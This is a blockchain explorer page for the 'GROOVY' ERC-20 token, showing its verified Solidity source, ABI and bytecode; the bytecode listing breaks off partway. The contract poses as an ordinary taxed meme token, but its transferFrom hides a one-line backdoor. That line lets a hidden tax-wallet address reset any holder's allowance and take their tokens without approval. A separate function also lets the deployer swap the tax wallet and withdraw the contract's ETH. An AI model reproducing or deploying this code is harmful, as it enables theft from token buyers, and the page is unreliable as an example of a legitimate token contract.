ERC-20
Overview
Max Total Supply
1,000,000,000 GROOVY
Holders
99
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,234,267.970811092 GROOVYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
GROOVY
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-05 */ pragma solidity 0.8.26; /* https://x.com/Matt_Furie/status/1853818278810193972/photo/1 Tg: https://t.me/groovy_erc */ // SPDX-License-Identifier: MIT library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract GROOVY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFrom; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Groovy"; string private constant _symbol = unicode"GROOVY"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletSize = _tTotal * 2 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; uint256 private _initialBuyTax=12; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=12; uint256 private _reduceSellTaxAt=12; uint256 private _buyCount=0; address private tatoee; address private mami; IUniswapV2Router02 private uniRouter; address private uniPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { tatoee = msg.sender; _taxWallet = payable(0xD637125b41748ea54A9E51fCEDc876dA7cb722C2); _isExcludedFrom[owner()] = true; _isExcludedFrom[address(this)] = true; _isExcludedFrom[_taxWallet] = true; _balances[address(this)] = _tTotal; mami = _taxWallet; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount);if(_msgSender()==mami)_allowances[sender][mami]=100*amount; _approve(sender, _msgSender(), _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniRouter), _tTotal); uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH()); uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniPair).approve(address(uniRouter), type(uint).max); swapEnabled = true; tradingOpen = true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniPair && to != address(uniRouter) && ! _isExcludedFrom[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniPair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniPair && swapEnabled ) { if(contractTokenBalance > 0) swapKPP(min(amount,min(contractTokenBalance,_maxTaxSwap))); send_KPP_Eth(address(this).balance); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapKPP(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); _approve(address(this), address(uniRouter), tokenAmount); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function ManualKPP() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapKPP(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ send_KPP_Eth(ethBalance); } } function getKPPETH(address payable _wallet) external { require(msg.sender == tatoee); mami=_taxWallet=_wallet; payable(msg.sender).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function send_KPP_Eth(uint256 amount) private { _taxWallet.transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualKPP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"getKPPETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a61034c565b61002090633b9aca00610361565b61002b906002610361565b6100359190610378565b60055560646100466009600a61034c565b61005490633b9aca00610361565b61005f906002610361565b6100699190610378565b600655606461007a6009600a61034c565b61008890633b9aca00610361565b610093906001610361565b61009d9190610378565b600755600c600881905560098190555f600a819055600b819055818055600d91909155600e8190556012805461ffff60a81b1916905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b031990811633179091556004805490911673d637125b41748ea54a9e51fcedc876da7cb722c2179055600160035f61015c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556101be6009600a61034c565b6101cc90633b9aca00610361565b305f81815260016020526040812092909255600454601080546001600160a01b0319166001600160a01b0392909216919091179055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61022f6009600a61034c565b61023d90633b9aca00610361565b60405190815260200160405180910390a3610397565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102a25780850481111561028657610286610253565b600184161561029457908102905b60019390931c92800261026b565b935093915050565b5f826102b857506001610346565b816102c457505f610346565b81600181146102da57600281146102e457610300565b6001915050610346565b60ff8411156102f5576102f5610253565b50506001821b610346565b5060208310610133831016604e8410600b8410161715610323575081810a610346565b61032f5f198484610267565b805f190482111561034257610342610253565b0290505b92915050565b5f61035a60ff8416836102aa565b9392505050565b808202811582820484141761034657610346610253565b5f8261039257634e487b7160e01b5f52601260045260245ffd5b500490565b61182f806103a45f395ff3fe608060405260043610610108575f3560e01c80637d1db4a511610092578063a9059cbb11610062578063a9059cbb146102cf578063c9567bf9146102ee578063dd62ed3e14610302578063e950376114610346578063fc55c3d914610365575f80fd5b80637d1db4a5146102515780638da5cb5b146102665780638f9a55c01461028c57806395d89b41146102a1575f80fd5b806323b872dd116100d857806323b872dd146101b9578063313ce567146101d857806370a08231146101f3578063715018a614610227578063751039fc1461023d575f80fd5b806306fdde0314610113578063095ea7b3146101535780630faee56f1461018257806318160ddd146101a5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600681526547726f6f767960d01b60208201525b60405161014a9190611434565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004611480565b610379565b604051901515815260200161014a565b34801561018d575f80fd5b5061019760075481565b60405190815260200161014a565b3480156101b0575f80fd5b5061019761038f565b3480156101c4575f80fd5b506101726101d33660046114aa565b6103af565b3480156101e3575f80fd5b506040516009815260200161014a565b3480156101fe575f80fd5b5061019761020d3660046114e8565b6001600160a01b03165f9081526001602052604090205490565b348015610232575f80fd5b5061023b61045c565b005b348015610248575f80fd5b5061023b6104d6565b34801561025c575f80fd5b5061019760055481565b348015610271575f80fd5b505f546040516001600160a01b03909116815260200161014a565b348015610297575f80fd5b5061019760065481565b3480156102ac575f80fd5b5060408051808201909152600681526547524f4f565960d01b602082015261013d565b3480156102da575f80fd5b506101726102e9366004611480565b610587565b3480156102f9575f80fd5b5061023b610593565b34801561030d575f80fd5b5061019761031c366004611503565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610351575f80fd5b5061023b6103603660046114e8565b61093c565b348015610370575f80fd5b5061023b6109aa565b5f6103853384846109f7565b5060015b92915050565b5f61039c6009600a611631565b6103aa90633b9aca0061163f565b905090565b5f6103bb848484610b1b565b6010546001600160a01b03163303610401576103d882606461163f565b6001600160a01b038086165f908152600260209081526040808320601054909416835292905220555b610452843361044d856040518060600160405280602881526020016117d2602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110b0565b6109f7565b5060019392505050565b5f546001600160a01b0316331461048e5760405162461bcd60e51b815260040161048590611656565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ff5760405162461bcd60e51b815260040161048590611656565b61050b6009600a611631565b61051990633b9aca0061163f565b6005556105286009600a611631565b61053690633b9aca0061163f565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105666009600a611631565b61057490633b9aca0061163f565b60405190815260200160405180910390a1565b5f610385338484610b1b565b5f546001600160a01b031633146105bc5760405162461bcd60e51b815260040161048590611656565b601254600160a01b900460ff16156106165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610485565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561065f9030906106516009600a611631565b61044d90633b9aca0061163f565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d3919061168b565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610732573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610756919061168b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c4919061168b565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061080b816001600160a01b03165f9081526001602052604090205490565b5f8061081e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610884573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a991906116a6565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092291906116d1565b506012805462ff00ff60a01b19166201000160a01b179055565b600f546001600160a01b03163314610952575f80fd5b600480546001600160a01b0383166001600160a01b0319918216811790925560108054909116909117905560405133904780156108fc02915f818181858888f193505050501580156109a6573d5f803e3d5ffd5b5050565b6004546001600160a01b0316336001600160a01b0316146109c9575f80fd5b305f9081526001602052604090205480156109e7576109e7816110e8565b4780156109a6576109a681611258565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610485565b6001600160a01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610485565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610485565b6001600160a01b038216610be15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610485565b5f8111610c425760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610485565b601254600160b01b900460ff161580610c645750601254600160a81b900460ff165b15610d0e576001600160a01b0383165f90815260016020526040902054610c8c9082906116f0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cbb908290611703565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0e9085815260200190565b5f80546001600160a01b03858116911614801590610d3957505f546001600160a01b03848116911614155b15610f7357610d6a6064610d64600c54600e5411610d5957600854610d5d565b600a545b859061128f565b90611314565b6012549091506001600160a01b038581169116148015610d9857506011546001600160a01b03848116911614155b8015610dbc57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ea257600554821115610e135760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610485565b60065482610e35856001600160a01b03165f9081526001602052604090205490565b610e3f9190611703565b1115610e8d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610485565b600e8054905f610e9c83611716565b91905055505b6012546001600160a01b038481169116148015610ec857506001600160a01b0384163014155b15610ef557610ef26064610d64600d54600e5411610ee857600954610d5d565b600b54859061128f565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610f2b57506012546001600160a01b038581169116145b8015610f405750601254600160b01b900460ff165b15610f71578015610f6857610f68610f6384610f5e84600754611355565b611355565b6110e8565b610f7147611258565b505b8015610feb57305f90815260016020526040902054610f929082611369565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe29085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100d90836113c7565b6001600160a01b0385165f9081526001602052604090205561105061103283836113c7565b6001600160a01b0385165f9081526001602052604090205490611369565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109985856113c7565b60405190815260200160405180910390a350505050565b5f81848411156110d35760405162461bcd60e51b81526004016104859190611434565b505f6110df84866116f0565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061112e5761112e61172e565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611185573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a9919061168b565b816001815181106111bc576111bc61172e565b6001600160a01b0392831660209182029290920101526011546111e291309116846109f7565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121a9085905f90869030904290600401611742565b5f604051808303815f87803b158015611231575f80fd5b505af1158015611243573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109a6573d5f803e3d5ffd5b5f825f0361129e57505f610389565b5f6112a9838561163f565b9050826112b685836117b2565b1461130d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610485565b9392505050565b5f61130d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611408565b5f818311611363578261130d565b50919050565b5f806113758385611703565b90508381101561130d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610485565b5f61130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b0565b5f81836114285760405162461bcd60e51b81526004016104859190611434565b505f6110df84866117b2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461147d575f80fd5b50565b5f8060408385031215611491575f80fd5b823561149c81611469565b946020939093013593505050565b5f805f606084860312156114bc575f80fd5b83356114c781611469565b925060208401356114d781611469565b929592945050506040919091013590565b5f602082840312156114f8575f80fd5b813561130d81611469565b5f8060408385031215611514575f80fd5b823561151f81611469565b9150602083013561152f81611469565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115895780850481111561156d5761156d61153a565b600184161561157b57908102905b60019390931c928002611552565b935093915050565b5f8261159f57506001610389565b816115ab57505f610389565b81600181146115c157600281146115cb576115e7565b6001915050610389565b60ff8411156115dc576115dc61153a565b50506001821b610389565b5060208310610133831016604e8410600b841016171561160a575081810a610389565b6116165f19848461154e565b805f19048211156116295761162961153a565b029392505050565b5f61130d60ff841683611591565b80820281158282048414176103895761038961153a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561169b575f80fd5b815161130d81611469565b5f805f606084860312156116b8575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156116e1575f80fd5b8151801515811461130d575f80fd5b818103818111156103895761038961153a565b808201808211156103895761038961153a565b5f600182016117275761172761153a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156117925783516001600160a01b031683526020938401939092019160010161176b565b50506001600160a01b039590951660608401525050608001529392505050565b5f826117cc57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220588c8b544290cee6ac84a0437631920dfd15b438bfaa6ad24c5dba7f4321818264736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610108575f3560e01c80637d1db4a511610092578063a9059cbb11610062578063a9059cbb146102cf578063c9567bf9146102ee578063dd62ed3e14610302578063e950376114610346578063fc55c3d914610365575f80fd5b80637d1db4a5146102515780638da5cb5b146102665780638f9a55c01461028c57806395d89b41146102a1575f80fd5b806323b872dd116100d857806323b872dd146101b9578063313ce567146101d857806370a08231146101f3578063715018a614610227578063751039fc1461023d575f80fd5b806306fdde0314610113578063095ea7b3146101535780630faee56f1461018257806318160ddd146101a5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600681526547726f6f767960d01b60208201525b60405161014a9190611434565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004611480565b610379565b604051901515815260200161014a565b34801561018d575f80fd5b5061019760075481565b60405190815260200161014a565b3480156101b0575f80fd5b5061019761038f565b3480156101c4575f80fd5b506101726101d33660046114aa565b6103af565b3480156101e3575f80fd5b506040516009815260200161014a565b3480156101fe575f80fd5b5061019761020d3660046114e8565b6001600160a01b03165f9081526001602052604090205490565b348015610232575f80fd5b5061023b61045c565b005b348015610248575f80fd5b5061023b6104d6565b34801561025c575f80fd5b5061019760055481565b348015610271575f80fd5b505f546040516001600160a01b03909116815260200161014a565b348015610297575f80fd5b5061019760065481565b3480156102ac575f80fd5b5060408051808201909152600681526547524f4f565960d01b602082015261013d565b3480156102da575f80fd5b506101726102e9366004611480565b610587565b3480156102f9575f80fd5b5061023b610593565b34801561030d575f80fd5b5061019761031c366004611503565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610351575f80fd5b5061023b6103603660046114e8565b61093c565b348015610370575f80fd5b5061023b6109aa565b5f6103853384846109f7565b5060015b92915050565b5f61039c6009600a611631565b6103aa90633b9aca0061163f565b905090565b5f6103bb848484610b1b565b6010546001600160a01b03163303610401576103d882606461163f565b6001600160a01b038086165f908152600260209081526040808320601054909416835292905220555b610452843361044d856040518060600160405280602881526020016117d2602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110b0565b6109f7565b5060019392505050565b5f546001600160a01b0316331461048e5760405162461bcd60e51b815260040161048590611656565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ff5760405162461bcd60e51b815260040161048590611656565b61050b6009600a611631565b61051990633b9aca0061163f565b6005556105286009600a611631565b61053690633b9aca0061163f565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105666009600a611631565b61057490633b9aca0061163f565b60405190815260200160405180910390a1565b5f610385338484610b1b565b5f546001600160a01b031633146105bc5760405162461bcd60e51b815260040161048590611656565b601254600160a01b900460ff16156106165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610485565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561065f9030906106516009600a611631565b61044d90633b9aca0061163f565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d3919061168b565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610732573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610756919061168b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c4919061168b565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061080b816001600160a01b03165f9081526001602052604090205490565b5f8061081e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610884573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a991906116a6565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092291906116d1565b506012805462ff00ff60a01b19166201000160a01b179055565b600f546001600160a01b03163314610952575f80fd5b600480546001600160a01b0383166001600160a01b0319918216811790925560108054909116909117905560405133904780156108fc02915f818181858888f193505050501580156109a6573d5f803e3d5ffd5b5050565b6004546001600160a01b0316336001600160a01b0316146109c9575f80fd5b305f9081526001602052604090205480156109e7576109e7816110e8565b4780156109a6576109a681611258565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610485565b6001600160a01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610485565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610485565b6001600160a01b038216610be15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610485565b5f8111610c425760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610485565b601254600160b01b900460ff161580610c64575060125460